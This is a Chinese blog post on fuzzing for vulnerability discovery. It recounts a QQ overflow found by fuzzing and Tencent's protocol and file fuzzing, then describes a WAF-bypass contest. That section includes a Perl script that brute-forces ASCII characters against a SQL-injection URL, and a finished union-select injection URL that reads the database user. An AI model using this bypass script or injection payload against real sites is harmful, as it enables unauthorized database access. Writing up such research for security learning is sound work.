Fuzz漏洞挖掘漫谈

在计算机领域,Fuzz Testing(模糊测试)是一种测试方法,即构造一系列无规则的“坏”数据插入应用程序,判断程序是否出现异常,以发现潜在的bug。在信息安全领域,也有人尝试引入fuzz testing思想进行安全漏洞挖掘,而且效果不错。

大家可以看到,fuzz安全测试理论和应用都已经较为成熟,已有各种fuzz安全测试的框架、工具甚至书籍问世。

初识fuzz的威力是在07年。当时来自team509安全团队的wushi发现了QQ的一个溢出漏洞,wushi本着“负责任的漏洞披露过程”将漏洞细节告知了腾讯安全团队。为此,腾讯还专门发布了一个安全公告(http://im.qq.com/safe/affiche/2007/20071015.shtml)。这应该是腾讯的第一个漏洞安全公告,奠定了腾讯未来的安全漏洞应急响应基础,具有划时代的意义。当然,这些都是另一个话题了。

原来在当时的QQ 2007的远程协助模块在解包的过程中没有对传入的数据进行校验,结果就产生了溢出。如图所示就是发生堆溢出的汇编代码,我们可以看到memcpy函数三个参数外部均可以控制导致产生了堆溢出漏洞。攻击者可以构造特殊的数据包触发这个漏洞,wushi提供的PoC可以直接令远程协助的对方QQ崩溃。

真是个威力巨大的漏洞!本着“知其然知其所以然”的原则,漏洞处理完后我们请教wushi是如何发现的,wushi只轻描淡写地说了一个英文单词——fuzz!

从wushi的思路得到启发,腾讯安全团队也着手研究协议fuzz。

为了迅速排查类似漏洞,我们先使用了Python脚本进行“小步快跑”式的协议fuzz。QQ支持HTTP代理,我们就用一个Python写的HTTP代理让测试QQ A通过这个代理与测试QQ B进行通信,这个Python代理就负责按照一定规则修改经过的指定格式的数据(也就是指定模型的fuzz啦)。果然,我们又在QQ 2007的远程协助、视频通话、音频通话模块中发现了数个远程溢出漏洞,均及时得以修复。

使用HTTP代理只是权宜之计,因为不是所有的协议都支持HTTP代理,而且有些漏洞可能存在于原始协议中,于是我们又开发了一个基于Windows的协议fuzz程序。大致思路是通过DLL注入的方式hook某个进程调用的各个Socket发送函数,通过更改传输的数据进行fuzz。效果和Python殊途同归,但适用范围要大些。

这种在原有协议上进行fuzz的好处在于可以“智能的”进行fuzz(smart fuzz),避免了大量的无用功。试想,如果协议不对数据包本身就被丢弃了,毫无规则的fuzz(blind fuzz)会浪费大量人力物力。当然,有些漏洞本身可能就会出现在不符合协议的数据处理中。如果时间允许,全fuzz也是有必要的。

文件fuzz也是类似的思路。以JPG格式为例,只需要先找一些正常jpg文件做样本生成JPG模版,再对模版中的数据格式进行各种fuzz,生成fuzz样本,然后用程序逐个打开这些样本,看是否产生异常。

类似的fuzz框架/工具也很多,如Sulley、PaiMei、TAOF,都很高端上流,有兴趣的同学自行百度之,在此不赘述。

Web漏洞也是可以用fuzz思想来挖掘的。

比如挖掘HTML5新特性的XSS攻击代码,最好的办法就是fuzz。先枚举浏览器支持的HTML5的各种属性方法,赋值之后观察是否alert。对一些类XSS Filter(Web Mail)的漏洞挖掘也是基于这种思路。

前段时间安全宝搞了个绕过WAF的活动,我也体验了一把,用fuzz的方法发现一个绕过方法。

我们都知道WAF是先于Web应用解析外部参数的,如果认为恶意就会拦截,但是WAF和Web应用如果对外部数据处理不一致就会存在绕过WAF的情况。要想绕过WAF,只需要找到WAF认为不是恶意但是又能对Web应用产生攻击的特殊字符串。

当时我测试时安全宝的WAF时发现如果URL中含有“and”、“[空格]and[空格]”、“[TAB]and[TAB]”等都会被过滤(拦截的特征为HTTP 405),只要我能找到一个字符让WAF认为无问题,但是MySQL能知道是空格就好。

怎么办?盲目猜是没有意义且低效的。那么就fuzz吧。把ASCII码1到255都穷举一遍看看。于是一个Perl脚本应运而生:


use LWP 5.64;

$browser = LWP::UserAgent->new;

for($i=0;$i<256;$i++){

$j = data10to16($i);

print"[+]  $j  ". hex($j) ."  ". chr(hex($j)) ." \n";

$url ="http://secaqb.anquanbao.org/sqlin.php?id=9and%".$j."1=1";

$response = $browser->get($url);

print"[-] code ".$response->status_line."\n";

if($response->content=~/www\.cnseay\.com/is){ print"[$] done ! ========================>\n"; }

sleep(1);

}

sub data10to16{

my($data)=@_;

my $data16=sprintf("x", $data);

return$data16;

}

运行脚本然后喝一杯咖啡,然后看结果,果然发现ASCII码11的字符(URL编码)可以绕过安全宝WAF的拦截并且MySQL认为是代替空格的字符。如图。

然后利用union查询时发现如果URL出现“1,1,1,1”字样也会被拦截,测试发现加几个空格就可以绕过。形式如“select 1, 1, 1, 1”。

所以结合这两个bug,构造这样的URL就可以读取到数据库user为seay@localhost:http://secaqb.anquanbao.org/sqlin.php?id=9 and1=2 unionselect1,user(), 3 ,4

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,393评论 5 467
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,790评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,391评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,703评论 1 270
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,613评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,003评论 1 275
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,507评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,158评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,300评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,256评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,274评论 1 328
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,984评论 3 316
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,569评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,662评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,899评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,268评论 2 345
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,840评论 2 339

推荐阅读更多精彩内容

  • 前言 WAF(Web Application Firewall),网站应用级入侵防御系统,通过执行一系列针对 HT...
    泡面办公室阅读 2,281评论 0 7
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,559评论 18 139
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,210评论 2 22
  • 漏洞挖掘与利用 测试环境的搭建 引言 为什么要搭建本地测试环境?我想下面的东西能够回答你的疑惑。 第二百八十五条 ...
    作业没写完阅读 3,164评论 0 4
  • 你住的城市下雨了, 很想问你有没有带伞。 可是我忍住了, 因为我怕你说没带, 而我又无能为力, 就像是我爱你, 却...
    冷目良阅读 148评论 0 0